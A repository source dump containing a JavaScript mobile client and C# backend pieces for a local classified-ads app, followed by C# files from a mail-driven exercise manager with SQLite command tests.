errorCallBack(err);
},
success: callback
};
$.ajax(settings);
}
};
//Page Functions
//document.addEventListener('event.tabItem', function (event) {
// console.log(event.target.id);
//});
///// KO-OnsenUI """bindings"""
document.addEventListener('init', function (event) {
var page = event.target;
console.log(event.target.id);
if (GetStoredToken() == "") {
$('.onlylogoff').show();
$('.onlylogin').hide();
}
else {
$('.onlylogoff').hide();
$('.onlylogin').show();
}
//if (event.target.id === '') {
// $('#pageTitle').html('Offers - <small>' + moment().format('MMM DD, YYYY') + '</small>');
//}
//if (event.target.id === 'citycateblock-page') {
// $('#citycateblock_title').text('Surat');
//}
//if (event.target.id === 'dashboardblock-page') {
// $('#dashboardblock_title').text('Surat > Jobs');
//}
if (page.data && page.data.viewModel) {
// Shortcut for ons-navigator
ko.applyBindings(page.data.viewModel, page);
}
else {
// Everything else by ID
// debugger;
var viewModel = page.id.charAt(0).toUpperCase() + (page.id.split('-')[0] || '').slice(1) + 'ViewModel';
console.log("Current View Model " + page.id + " & " + viewModel);
if (window[viewModel]) {
ko.applyBindings(new window[viewModel](), event.target);
}
if (viewModel == "QloginViewModel") {
ko.applyBindings(new LoginViewModel(), event.target);
}
}
});
function pageChange(pagename) {
//if (pagename == 'cityblock') {
// $('#pageTitle').html('Offers - <small>' + moment().format('MMM DD, YYYY') + '</small>');
//}
}
// Settings page view model
function SettingsViewModel() {
var self = this;
self.info = 'More stuff';
self.LoadPoints = function () {
document.querySelector('ons-navigator')
.pushPage('points.html', {
data: { viewModel: new Points() }
});
};
self.LoadReferrals = function () {
document.querySelector('ons-navigator')
.pushPage('referrals.html', {
data: { viewModel: new Referral() }
});
};
self.ShowFAQ = function () {
document.querySelector('ons-navigator')
.pushPage('Faq.html', {
data: { viewModel: new FaqViewModel() }
});
};
self.LogOff = function () {
SetStoredToken("", "", "");
};
self.SubmitAdd = function () {
document.querySelector('ons-navigator')
.pushPage('submitblock.html', {
data: { viewModel: new SubmitblockViewModel() }
});
}
}
document.addEventListener('postchange', function (event) {
console.log('postchange event', event);
if (event.tabItem.getAttribute("page") === "settings.html") {
$('#pageTitle').html("Settings");
}
else if (event.tabItem.getAttribute("page") === "qlogin.html") {
$('#pageTitle').html("Sign In");
}
else if (event.tabItem.getAttribute("page") === "Faq.html") {
$('#pageTitle').html("F.A.Q.");
}
});
function CityblockViewModel() {
var self = this;
self.cityBlocks = ko.observableArray([]);
self.DashboardCityTitle = ko.observable('');
$('#pageTitle').html('Offers - <small>' + moment().format('MMM DD, YYYY') + '</small>');
//self.CityTitle = ko.observable('Advertise in ');
self.LoadDashboard = function () {
services.getServiceWithOutToken(apiurls.Block.City, function (response) {
response.forEach(function (item, index) {
var m1 = new BlockCityModal();
m1.CityId(item.CityId);
m1.City(item.City);
m1.BlockCount(item.BlockCount);
self.cityBlocks.push(m1);
});
});
};
self.detailsItem = function () {
document.querySelector('ons-navigator')
.pushPage('Citycateblock.html', {
data: { viewModel: new CitycateblockViewModel(this.CityId(), this.City()) }
});
};
self.LoadDashboard();
}
function CitycateblockViewModel(CityId, CityName) {
var self = this;
self.catBlocks = ko.observableArray([]);
self.CityName = ko.observable(CityName);
self.LoadDashboard = function () {
var urpart = '';
if (CityId !== undefined)
urpart = "/" + CityId;
else {
var storedCityName = GetStoredCity();
if(storedCityName != undefined)
urpart = "/name/" + storedCityName;
//else
//window.location =
}
services.getServiceWithOutToken(apiurls.Block.Cats + "/" + urpart, function (response) {
response.forEach(function (item, index) {
var m1 = new BlockCategoryModal();
m1.CityId(item.CityId);
m1.CatId(item.CatId);
m1.Category(item.Category);
m1.BlockCount(item.BlockCount);
self.catBlocks.push(m1);
});
});
};
self.detailsItem = function () {
document.querySelector('ons-navigator')
.pushPage('Dashboardblock.html', {
data: { viewModel: new DashboardBlock(this.CityId(), this.CatId(), self.CityName() + " - "+ this.Category()) }
});
};
//navigator.geolocation.getCurrentPosition(onSuccess, onError);
self.LoadDashboard();
return self;
}
//function onSuccess(position) {
// debugger;
// var lat = position.coords.latitude;
// var lng = position.coords.longitude;
// codeLatLng(lat, lng);
// //var element = document.getElementById('geolocation');
// //element.innerHTML = 'Latitude: ' + position.coords.latitude + '<br />' +
// // 'Longitude: ' + position.coords.longitude + '<br />' +
// // 'Altitude: ' + position.coords.altitude + '<br />' +
// // 'Accuracy: ' + position.coords.accuracy + '<br />' +
// // 'Altitude Accuracy: ' + position.coords.altitudeAccuracy + '<br />' +
// // 'Heading: ' + position.coords.heading + '<br />' +
// // 'Speed: ' + position.coords.speed + '<br />' +
// // 'Timestamp: ' + new Date(position.timestamp) + '<br />';
//}
//var geocoder;
//function codeLatLng(lat, lng) {
// debugger;
// geocoder = new google.maps.Geocoder();
// var latlng = new google.maps.LatLng(lat, lng);
// geocoder.geocode({ 'latLng': latlng }, function (results, status) {
// debugger;
// if (status == google.maps.GeocoderStatus.OK) {
// console.log(results)
// if (results[1]) {
// //formatted address
// alert(results[0].formatted_address)
// //find country name
// for (var i = 0; i < results[0].address_components.length; i++) {
// for (var b = 0; b < results[0].address_components[i].types.length; b++) {
// //there are different types that might hold a city admin_area_lvl_1 usually does in come cases looking for sublocality type will be more appropriate
// if (results[0].address_components[i].types[b] == "administrative_area_level_1") {
// //this is the object you are looking for
// city = results[0].address_components[i];
// break;
// }
// }
// }
// //city data
// alert(city.short_name + " " + city.long_name)
// } else {
// alert("No results found");
// }
// } else {
// alert("Geocoder failed due to: " + status);
// }
// });
//}
//function onError(error) {
// alert('code: ' + error.code + '\n' +
// 'message: ' + error.message + '\n');
//}
function DashboardBlock(CityId, CatId, Title) {
var self = this;
self.FullBlocks = ko.observableArray([]);
self.CityCategoryName = ko.observable(Title);
self.LoadDashboard = function () {
services.getServiceWithOutToken(apiurls.Block.Blocks + "/" + CityId + "/cat/" + CatId, function (response) {
response.forEach(function (item, index) {
var m1 = new BlockModal();
m1.Content(item.Content);
if (GetStoredToken() != undefined)
m1.IsLogin(true);
else
m1.IsLogin(false);
m1.MobileNo(item.MobileNo);
m1.CreatedDate(item.CreatedDate);
self.FullBlocks.push(m1);
});
});
};
self.openLoginForm = function () {
//window.Location = 'login.html';
document.querySelector('ons-navigator')
.pushPage('qlogin.html', {
data: { viewModel: new LoginViewModel() }
});
//ons.createElement('login.html', { append: true })
// .then(function (dialog) {
// dialog.show();
// });
};
self.LoadDashboard();
}
function LoginViewModel() {
var self = this;
self.Title = ko.observable('SOME CONTENT');
self.UserName = ko.observable('8976843988');
self.Password = ko.observable('<PASSWORD>');
self.Login = function () {
services.postServiceWithToken(apiurls.User.Login + '?mobileno=' + self.UserName() + '&password=' + self.Password(), null, function (response) {
SetStoredToken(response.token, response.mobileno, response.city);
ons.notification.toast('Login Called!', {
timeout: 2000
});
window.location = 'index.html';
});
};
self.RedirectRegister = function () {
//ons.notification.toast('Register Called!', {
// timeout: 2000
//});
document.querySelector('ons-navigator')
.pushPage('register.html', {
data: { viewModel: new RegisterViewModel() }
});
};
}
function RegisterViewModel() {
var self = this;
self.Mobile = ko.observable('8976843988');
self.CityName = ko.observable('asd');
self.Email = ko.observable('<EMAIL>');
self.DisplayName = ko.observable('asd');
self.ReferralCode = ko.observable('asd');
self.otp = ko.observable('1234');
self.IsOTPSent = ko.observable(false);
self.Password = ko.observable('<PASSWORD>');
self.RepeatPassword = ko.observable('<PASSWORD>');
self.Register = function () {
if (self.Password() != self.RepeatPassword())
{
ons.notification.toast('Password Mismatch!', {
timeout: 2000
});
}
var data = {
mobileno: self.Mobile(),
city: self.CityName(),
email: self.Email(),
displayname: self.DisplayName(),
referredbyCode: self.ReferralCode()
};
services.postServiceWithToken(apiurls.User.Join, JSON.stringify(data), function (response) {
ons.notification.toast('OTP Sent!', {
timeout: 2000
});
self.IsOTPSent(true);
});
};
self.ConfirmOTP = function () {
var dataUrl = `?mobileno=${self.Mobile()}&otp=${self.otp()}&password=${self.Password()}`;
services.postServiceWithToken(apiurls.User.ConfirmOPT + dataUrl, null, function (response) {
ons.notification.toast('Registered Successfully!', {
timeout: 2000
});
self.IsOTPSent(true);
location.href = '/login.html';
});
};
var ref = QueryStringValue("ref");
if (ref != null && ref != undefined) {
self.ReferralCode(ref);
}
//self.RedirectLogin(){
//}
}
function Points() {
var self = this;
self.TotalPoints = ko.observable(0);
self.LastPointTransactions = ko.observableArray([]);
self.GetTotalPoints = function () {
services.getServiceWithOutToken(apiurls.Point.Total, function (response) {
self.TotalPoints(response);
});
}
self.GetPointTransactions = function () {
services.getServiceWithOutToken(apiurls.Point.TopTen, function (response) {
response.forEach(function (item, index) {
var m1 = new PointTransactionModal();
m1.TransactionDate(item.TransactionDate);
m1.Description(item.Description);
m1.Points(item.Points);
self.LastPointTransactions.push(m1);
});
});
}
self.GetTotalPoints();
self.GetPointTransactions();
}
function Referral() {
var self = this;
self.ReferralId = ko.observable('');
self.ReferralIdMobile = ko.observable('');
self.ReferralTransactions = ko.observableArray([]);
self.GetReferralId = function () {
services.getServiceWithOutToken(apiurls.Refer.MyId, function (response) {
self.ReferralId(response.ReferralCode);
self.ReferralIdMobile(response.OtherReferralCode);
});
};
self.GetReferralTransactions = function () {
services.getServiceWithOutToken(apiurls.Refer.Referrals, function (response) {
response.forEach(function (item, index) {
var m1 = new ReferralUserModal();
m1.DisplayName(item.DisplayName);
m1.JoinedOn(item.JoinedOn);
m1.Mobile(item.Mobile);
self.ReferralTransactions.push(m1);
});
});
};
self.Share = function () {
window.plugins.share.show(
{
subject: 'Join Tachukadi',
text: 'Join tachukadi and share your business with world, who really required that. Join with my referral code. ' + self.ReferralId() + ' or ' + self.ReferralIdMobile()
},
function () { }, // Success function
function () { alert('Share failed') } // Failure function
);
};
self.GetReferralId();
self.GetReferralTransactions();
}
function SubmitblockViewModel() {
//debugger;
var self = this;
self.CatId = ko.observable(0);
self.CityId = ko.observable(0);
self.Title = ko.observable('');
self.Content = ko.observable('');
self.StartDate = ko.observable(moment().format('YYYY-MM-DD'));
self.EndDate = ko.observable(moment().format('YYYY-MM-DD'));
self.AllCities = ko.observableArray([]);
self.AllCategories = ko.observableArray([]);
self.BlockCost = ko.observable(1);
self.StartDate.subscribe(function (newDate) {
self.BlockCost(moment(self.EndDate()).diff(moment(newDate), 'days') + 1)
}, self);
self.EndDate.subscribe(function (newDate) {
self.BlockCost(moment(newDate).diff(moment(self.StartDate()), 'days') + 1);
}, self);
self.SaveBlock = function () {
if (self.StartDate() > self.EndDate()) {
alert('Start date cannot be greater then End date');
return false;
}
if (self.Title().length == 0) {
alert('Title is required field.');
return false;
}
if (self.Content().length == 0) {
alert('Content is required field.');
return false;
}
if (!(Number(self.CityId()) > 0)) {
alert('City is required field.');
return false;
}
if (!(Number(self.CatId()) > 0)) {
alert('Category is required field.');
return false;
}
var data = {};
data['CatId'] = self.CatId();
data['CityId'] = self.CityId();
data['Title'] = self.Title();
data['Content'] = self.Content();
data['StartDate'] = self.StartDate();
data['EndDate'] = self.EndDate();
services.postServiceWithToken(apiurls.Block.AddBlock, JSON.stringify(data), function (response) {
});
}
self.LoadCategories = function () {
services.getServiceWithOutToken(apiurls.Config.Cats, function (response) {
response.forEach(function (item, index) {
var m1 = new CategoryModal();
m1.CateId(item.CateId);
m1.CateName(item.CateName);
self.AllCategories.push(m1);
});
});
};
self.LoadCities = function () {
services.getServiceWithOutToken(apiurls.Config.City, function (response) {
response.forEach(function (item, index) {
var m1 = new CityModal();
m1.CityId(item.CityId);
m1.CityName(item.CityName + " - " + item.State);
self.AllCities.push(m1);
});
});
};
self.LoadCategories();
self.LoadCities();
}
function FaqViewModel() {
}
function GetStoredToken() {
return localStorage["tachukdi_token"].toString();
}
function GetStoredMobile() {
return localStorage["tachukdi_mobile"].toString();
}
function GetStoredCity() {
return localStorage["tachukdi_city"].toString();
}
function SetStoredToken(token, mobile, city) {
localStorage["tachukdi_token"] = token;
localStorage["tachukdi_mobile"] = mobile;
localStorage["tachukdi_city"] = city;
}
function QueryStringValue(name, url = window.location.href) {
name = name.replace(/[\[\]]/g, '\\$&');
var regex = new RegExp('[?&]' + name + '(=([^&#]*)|&|#|$)'),
results = regex.exec(url);
if (!results) return null;
if (!results[2]) return '';
return decodeURIComponent(results[2].replace(/\+/g, ' '));
}
<file_sep>/Tachukdi/Framework/ConfigHelper.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using Tachukdi.Models;
namespace Tachukdi.Framework
{
public class ConfigHelper : BaseHelper
{
internal List<CityModal> GetAllCities()
{
return _db.GetAllCities();
}
internal CityModal GetCityByCityName(string cityname)
{
return _db.GetCityByCityName(cityname);
}
internal List<CategoryModal> GetAllCategories()
{
return _db.GetAllCategories();
}
}
public class ReferralHelper : BaseHelper
{
internal string GetMyReferralId(string mobileno)
{
return _db.GetUserByMobileNo(mobileno).ReferralCode;
}
internal List<ReferralUserModal> GetMyReferrals(string mobileno)
{
List<ReferralUserModal> referralUsers = _db.GetAllReferrals(mobileno);
return referralUsers;
}
}
public class PointHelper:BaseHelper
{
internal List<PointTransactionModal> GetTopNTransaction(string mobileno, int topCount)
{
List<PointTransactionModal> pointTransactions = _db.GetTopNPointTransaction(mobileno, topCount);
return pointTransactions;
}
internal int GetTotalPontBalance(string mobileno)
{
int totalPoints = _db.GetTotalPontBalance(mobileno);
return totalPoints;
}
public void AddPoint(string mobileno, string description, int points)
{
_db.AddPoint(mobileno, description, points);
}
public void DeductPoint(string mobileno, string description, int points)
{
_db.AddPoint(mobileno, description, -1 * points);
}
}
}
<file_sep>/Tachukdi/Controllers/ConfigController.cs
using Tachukdi.Models;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Web.Http;
namespace Tachukdi.Controllers
{
//[Authorize]
public class ConfigController : BaseController
{
[HttpGet]
[Route("api/config/cats")]
public IHttpActionResult Categories()
{
if (ExtractToken(User))
{
List<CategoryModal> categories = _helpers.ConfigHelper.GetAllCategories();
return Ok(categories);
}
else
{
return Unauthorized();
}
}
[HttpGet]
[Route("api/config/cites")]
public IHttpActionResult Cities()
{
if (ExtractToken(User))
{
List<CityModal> cities = _helpers.ConfigHelper.GetAllCities();
return Ok(cities);
}
else
{
return Unauthorized();
}
}
}
}
<file_sep>/Tachukdi/Models/UserModal.cs
using System;
namespace Tachukdi.Models
{
public class UserModal
{
public int id { get; set; }
public string mobileno { get; set; }
public string ReferredByMobile { get; set; }
public string Email { get; set; }
public string ReferralCode { get; set; }
public string DisplayName { get; set; }
public string City { get; set; }
}
public class PointTransactionModal
{
public DateTime? TransactionDate { get; set; }
public string Description { get; set; }
public int? Points { get; set; }
}
public class CategoryModal
{
public int CateId { get; set; }
public string CateName { get; set; }
}
public class CityModal
{
public int CityId { get; set; }
public string CityName { get; set; }
public string State { get; set; }
}
public class ReferralUserModal
{
public string DisplayName { get; set; }
public object JoinedOn { get; set; }
public string Mobile { get; set; }
}
public class BlockCityModal
{
public int CityId { get; set; }
public string City { get; set; }
public int BlockCount { get; set; }
}
public class BlockCategoryModal
{
public int CityId { get; set; }
public int CatId { get; set; }
public int BlockCount { get; set; }
public string Category { get; set; }
}
public class BlockModal
{
public string Content { get; set; }
public string MobileNo { get; set; }
public DateTime CreatedDate { get; set; }
}
public class RegisterRequestModal
{
public string referredbyCode { get; set; }
public string mobileno { get; set; }
public string email { get; set; }
public string password { get; set; }
public string displayname { get; set; }
public string city { get; set; }
}
public class BlockRequestModal
{
public int CatId { get; set; }
public int CityId { get; set; }
public string Title { get; set; }
public string Content { get; set; }
public DateTime StartDate { get; set; }
public DateTime EndDate { get; set; }
}
}
|
56dd86781c3304f9f6e743f512bef4cea3ffacec
|
[
"JavaScript",
"C#"
] | 16 |
C#
|
nipeshshah/Tachukdi
|
3398ea7358bb787dbd923181573ef9eb90fa2bb8
|
6d8b396e58a6958765bdf0ca048fda1939842de2
|
refs/heads/master
|
<repo_name>mgfcf/WorkManager<file_sep>/WorkManager/MessageBoxHandler.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
namespace WorkManager {
static class MessageBoxHandler {
public static MessageBoxResult PromptWarning (string text, string title, Action resultingActionWhenOk = null) {
var result = Show(text, title, MessageBoxButton.OKCancel, MessageBoxImage.Warning);
if (resultingActionWhenOk == null)
return result;
if (result != MessageBoxResult.OK)
return result;
resultingActionWhenOk();
return result;
}
public static void PromptInfo (string text, string title) {
Show(text, title, MessageBoxButton.OK, MessageBoxImage.Information);
return;
}
public static MessageBoxResult Show (string text, string title, MessageBoxButton button, MessageBoxImage icon) {
return MessageBox.Show(text, title, button, icon);
}
internal static void PromptException (Exception ex, string where) {
Show(ex.Message, "Error in " + where, MessageBoxButton.OKCancel, MessageBoxImage.Error);
}
}
}
<file_sep>/WorkManagerTests/database/DbCommandTests.cs
using Microsoft.VisualStudio.TestTools.UnitTesting;
using WorkManager;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace WorkManager.Tests {
[TestClass()]
public class DbCommandTests {
[TestMethod()]
public void BuildCommandTest () {
DbCommandBuilder commandBuilder = new DbCommandBuilder();
commandBuilder.SetCommandSyntax(DbCommandSyntax.Insert)
.SetTableName("exercises")
.AddValue("title", "a")
.AddValue("finished", 1);
Assert.AreEqual("INSERT INTO exercises (title, finished) VALUES (\'a\', 1);",
commandBuilder.Command.ConstructCommand());
}
[TestMethod()]
public void BuildCommandTest1 () {
DbCommandBuilder commandBuilder = new DbCommandBuilder();
commandBuilder.SetCommandSyntax(DbCommandSyntax.Select)
.SetTableName("exercises")
.Where(DbWhereSyntax.Equals, "finished", 1)
.Where(DbWhereSyntax.LessThan, "id", 20, "AND")
.OrderBy(DbOrderBySyntax.Ascending, "id")
.Limit(10);
Assert.AreEqual("SELECT * FROM exercises WHERE finished == 1 AND id < 20 ORDER BY id ASC LIMIT 10;",
commandBuilder.Command.ConstructCommand());
}
[TestMethod()]
public void BuildCommandTest2 () {
DbCommandBuilder commandBuilder = new DbCommandBuilder();
commandBuilder.SetCommandSyntax(DbCommandSyntax.Select)
.SetTableName("exercises")
.Where(DbWhereSyntax.Equals, "finished", 1)
.AddAttribute("finished")
.AddAttribute("title");
Assert.AreEqual("SELECT finished, title FROM exercises WHERE finished == 1;",
commandBuilder.Command.ConstructCommand());
}
[TestMethod()]
public void BuildCommandTest3 () {
DbCommandBuilder commandBuilder = new DbCommandBuilder();
commandBuilder.SetCommandSyntax(DbCommandSyntax.CreateTable)
.SetTableName("exercises")
.AddAttribute("finished", "BOOLEAN")
.AddAttribute("title", "STRING", "PRIMARY KEY");
Assert.AreEqual("CREATE TABLE exercises (finished BOOLEAN, title STRING PRIMARY KEY);",
commandBuilder.Command.ConstructCommand());
}
[TestMethod()]
public void BuildCommandTest4 () {
DbCommandBuilder commandBuilder = new DbCommandBuilder();
commandBuilder.SetCommandSyntax(DbCommandSyntax.DropTable)
.SetTableName("exercises")
.Where(DbWhereSyntax.Equals, "finished", 1)
.Where(DbWhereSyntax.LessThan, "id", 20, "AND")
.OrderBy(DbOrderBySyntax.Ascending, "id")
.Limit(10);
Assert.AreEqual("DROP TABLE exercises;",
commandBuilder.Command.ConstructCommand());
}
[TestMethod()]
public void BuildCommandTest5 () {
DbCommandBuilder commandBuilder = new DbCommandBuilder();
commandBuilder.SetCommandSyntax(DbCommandSyntax.Update)
.SetTableName("exercises")
.AddValue("title", "a")
.AddValue("finished", 1)
.Where(DbWhereSyntax.LessThan, "id", 20, "AND")
.OrderBy(DbOrderBySyntax.Ascending, "id")
.Limit(10);
Assert.AreEqual("UPDATE exercises SET title = \'a\', finished = 1 WHERE id < 20 ORDER BY id ASC LIMIT 10;",
commandBuilder.Command.ConstructCommand());
}
}
}<file_sep>/WorkManager/StringHandler.cs
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
namespace WorkManager {
static class StringHandler {
private static string CollectorFilePath = "comparisoncollector.csv";
public static Dictionary<string, List<string>> ComparisonCollector;
public static bool LoadConnectorFromFile (string path = null) {
if (path == null)
path = CollectorFilePath;
if (ComparisonCollector == null)
ComparisonCollector = new Dictionary<string, List<string>>();
if (ComparisonCollector.Count > 0)
ComparisonCollector.Clear();
List<string> lines;
try {
lines = new List<string>(File.ReadLines(path));
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not load Connector-File from: " + path, "StringHandler");
return false;
}
try {
foreach (string line in lines) {
string[] words = line.Split(',');
List<string> collection = new List<string>();
for (int i = 0; i < words.Length; i++) {
words[i] = words[i].Trim(' ');
if (i < 1)
continue;
collection.Add(words[i]);
}
ComparisonCollector.Add(words[0], collection);
}
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not read data from lines: " + path, "StringHandler");
return false;
}
LogHandler.AddToLog("Succesfully loaded file: " + path, "StringHandler");
return true;
}
private static string SummarizeDictionary (Dictionary<string, List<string>> dic) {
string result = "";
foreach (string key in dic.Keys) {
result += "\n" + key + ":";
foreach (string value in dic[key]) {
result += "\n - " + value;
}
}
LogHandler.AddToLog("Summarized dictionary: " + result, "StringHandler", LogHandler.LogLevelStates.Debug);
return result;
}
public static List<string> GetCollection (string title) {
if (ComparisonCollector == null)
LoadConnectorFromFile();
foreach (string key in ComparisonCollector.Keys)
if (Equals(title, key))
return ComparisonCollector[key];
return new List<string>();
}
public static string CompareWithCollection (string single, string key, Func<string, string, bool> compareFunction) {
return CompareWithList(single, GetCollection(key), compareFunction);
}
public static string CompareWithList (string single, List<string> compList, Func<string, string, bool> compareFunction) {
foreach (string comparer in compList)
if (compareFunction(single, comparer))
return comparer;
return "";
}
public static bool Equals (string singleA, string singleB) {
return string.Equals(singleA, singleB, StringComparison.OrdinalIgnoreCase);
}
public static bool StartsWith (string singleA, string singleB) {
return singleA.StartsWith(singleB, StringComparison.OrdinalIgnoreCase);
}
public static string AddLine (string main, string additional) {
if (main == "")
return additional;
main += '\n' + additional;
return main;
}
public static string[] Clean (string[] lines, char[] toRemove) {
foreach (char cleaner in toRemove) {
lines = Clean(lines, cleaner);
}
return lines;
}
public static List<string> Clean (List<string> lines, char[] toRemove) {
foreach (char cleaner in toRemove) {
lines = Clean(lines, cleaner);
}
return lines;
}
public static string Clean (string line, char[] toRemove) {
foreach (char cleaner in toRemove) {
line = Clean(line, cleaner);
}
return line;
}
public static string[] Clean (string[] lines, char toRemove = ' ') {
List<string> cleaned = Clean(new List<string>(lines), toRemove);
string[] result = new string[cleaned.Count];
for (int i = 0; i < result.Length; i++)
result[i] = cleaned[i];
return result;
}
internal static string Summarize (List<string> content) {
string result = "";
foreach (string word in content)
result += ", " + word;
return result.Remove(0, 2);
}
public static List<string> Clean (List<string> lines, char toRemove = ' ') {
for (int i = 0; i < lines.Count(); i++)
lines[i] = Clean(lines[i], toRemove);
return lines;
}
public static string Clean (string main, char toRemove = ' ') {
return main.Trim(toRemove);
}
public static string RemoveFromStart (string main, string toRemove) {
return main.Remove(0, toRemove.Count());
}
public static DateTime GetDateFromString (string dateString, DateTime defaultDate = default(DateTime)) {
int[] numberInt = new int[] {
defaultDate.Day,
defaultDate.Month,
defaultDate.Year
};
try {
if (defaultDate == default(DateTime))
defaultDate = DateTime.Today;
//DD.MM.YYYY
string[] numberString = dateString.Split(new char[] { '.' }, 3);
for (int i = 0; i < numberString.Length; i++) {
string tmp = numberString[i].Trim(' ');
if (tmp == "")
continue;
numberInt[i] = Int32.Parse(tmp);
}
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not parse string to number", "StringHandler");
}
return new DateTime(numberInt[2], numberInt[1], numberInt[0]);
}
public static List<T> ToList<T> (T[] array) {
List<T> list = new List<T>();
foreach (T element in array) {
list.Add(element);
}
return list;
}
public static T[] ToArray<T> (List<T> list) {
T[] array = new T[list.Count];
for (int i = 0; i < list.Count; i++)
array[i] = list[i];
return array;
}
internal static string Shorten (string line, int maxCharacterCount, bool addDots = true) {
if (line.Count() <= maxCharacterCount)
return line;
string result = "";
int i = line.Count() - maxCharacterCount;
if (addDots) {
result = "...";
i += 3;
}
for (; i < line.Count(); i++)
result += line[i];
return result;
}
internal static string RemoveFromEnd (string line, int removeCount) {
return line.Remove(line.Count() - removeCount, removeCount);
}
public static TimeSpan ConvertToTimeSpan (string time) {
try {
return TimeSpan.Parse(time);
} catch (Exception ex) {
MessageBoxHandler.PromptException(ex, "WorkManagerDataBinder");
}
string[] singleValues = time.Split(':');
int[] units = new int[] { 0, 0, 0 };
for (int i = 0; i < 3; i++)
units[i] = Int32.Parse(singleValues[i]);
return new TimeSpan(units[0], units[1], units[2]);
}
}
}
<file_sep>/WorkManager/Exercises/ExerciseTimeSpan.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace WorkManager {
public class ExerciseTimeSpan {
public TimeSpan Duration { get; set; }
public string DbFormat {
get {
return Duration.Hours.ToString() + ":" +
Duration.Minutes.ToString() + ":" +
Duration.Seconds.ToString();
}
}
public ExerciseTimeSpan (TimeSpan duration) {
Duration = duration;
}
public ExerciseTimeSpan (DateTime duration) {
Duration = new TimeSpan(duration.Hour, duration.Minute, duration.Second);
}
public ExerciseTimeSpan (string duration) {
Duration = ConvertStringToDuration(duration);
}
public ExerciseTimeSpan () {
Duration = TimeSpan.FromSeconds(0);
}
public override string ToString () {
return DbFormat;
}
public static TimeSpan ConvertStringToDuration (string duration, TimeSpan defaultDuration = default(TimeSpan)) {
if (defaultDuration == default(TimeSpan))
defaultDuration = TimeSpan.FromSeconds(0);
int[] numberInt = new int[] {
defaultDuration.Hours,
defaultDuration.Minutes,
defaultDuration.Seconds
};
try {
//HH:MM:SS
string[] numberString = duration.Split(new char[] { ':' }, numberInt.Length);
for (int i = 0; i < numberString.Length; i++) {
string tmp = numberString[i].Trim();
if (tmp == "")
continue;
numberInt[i] = Int32.Parse(tmp);
}
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not parse string to number", "ExerciseTimeSpan");
}
return new TimeSpan(numberInt[0], numberInt[1], numberInt[2]);
}
}
}
<file_sep>/WorkManager/workmanager/WorkManagerCore.cs
using System;
using System.Collections.Generic;
using System.Data;
using System.Data.SQLite;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Controls;
using System.Windows.Data;
namespace WorkManager {
class WorkManagerCore {
public WorkManagerDataBinder DataBinder { get; private set; }
private UserAccount Account;
private List<Exercise> LoadedExercises;
private DataGrid DataView;
public string ExerciseFilterText {
get { return DataBinder.ExerciseFilterText; }
set { DataBinder.ExerciseFilterText = value; }
}
public WorkManagerCore (DataGrid dataView) {
DataBinder = new WorkManagerDataBinder("workmanager.db");
DataBinder.IOProcessing += DataBinder_IOProcessing;
LoadedExercises = new List<Exercise>();
DataView = dataView;
}
private void DataBinder_IOProcessing (DatabaseIOEventArgs ioEventArgs) {
if (ioEventArgs == DatabaseIOEventArgs.Create ||
ioEventArgs == DatabaseIOEventArgs.Select)
return;
Refresh(false);
}
public void SetAccount (UserAccount account) {
if (account == null)
return;
Account = account;
Refresh();
}
internal void Refresh (bool scanForNew = true) {
if (Account == null ||
Account.MailAddress == "")
return;
LoadedExercises = DataBinder.LoadAllExercises(Account.MailAddress);
RefreshView();
if (scanForNew)
Task.Factory.StartNew(() => RefreshingMailExercises());
else
RefreshView();
}
private void RefreshView () {
try {
DataView.Dispatcher.Invoke(() => {
DataView.ItemsSource = new List<Exercise>();
DataView.ItemsSource = LoadedExercises;
DataView.RowHeight = DataView.FontSize + 8;
if (DataView.Columns.Count > 2)
DataView.Columns[1].Width = 100;
});
LogHandler.AddToLog("Successfully refreshed dataView", "WorkManagerCore", LogHandler.LogLevelStates.Detailed);
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not refresh the dataView", "WorkManagerCore");
}
}
private void RefreshingMailExercises () {
PopMailReceiver mailCient = new PopMailReceiver(Account);
if (mailCient.ConnectToServer() == false)
return;
LogHandler.AddToLog("Starting refresh", "WorkManager", LogHandler.LogLevelStates.Detailed);
for (int i = mailCient.GetMailCount(); i >= 1; i--) {
var mail = mailCient.GetMail(i);
if (mail == null)
continue;
if (StringHandler.CompareWithCollection(mail.Headers.Subject, "TaskSubjects", StringHandler.Equals) == "")
continue;
Exercise exercise = new Exercise(Account.MailAddress, mail);
if (exercise.IsValid() == false)
continue;
LoadedExercises.Add(exercise);
if (DataBinder.InsertExercise(exercise)) {
int previousMailCount = mailCient.GetMailCount();
mailCient.DeleteMailFromServer(i);
i = mailCient.GetMailCount() - (previousMailCount - i);
}
LogHandler.AddToLog("Successfully added new task from mail: " + exercise.MetaData.Title, "WorkManagerCore", LogHandler.LogLevelStates.Detailed);
}
mailCient.Close();
LogHandler.AddToLog("Refresh process ended", "WorkManager", LogHandler.LogLevelStates.Detailed);
RefreshView();
}
internal void DeleteExercise (int eid) {
DataBinder.DeleteExercise(eid);
}
}
}
<file_sep>/WorkManager/Account/AccountLoginWindow.xaml.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Shapes;
namespace WorkManager {
public delegate void MyEventHandler (UserAccount account);
/// <summary>
/// Interaktionslogik für AccountLogin.xaml
/// </summary>
public partial class AccountLoginWindow : Window {
private UserAccount TestedAccount;
public AccountLoginResult State { get; private set; }
public event MyEventHandler PasswordSuccessfullyEntered;
public AccountLoginWindow (UserAccount account) {
InitializeComponent();
TestedAccount = account;
MessageText.Text = account.MailAddress;
State = AccountLoginResult.Entering;
}
private void CancelButton_Click (object sender, RoutedEventArgs e) {
State = AccountLoginResult.Canceled;
Close();
}
private void LoginButton_Click (object sender, RoutedEventArgs e) {
CheckPassword();
}
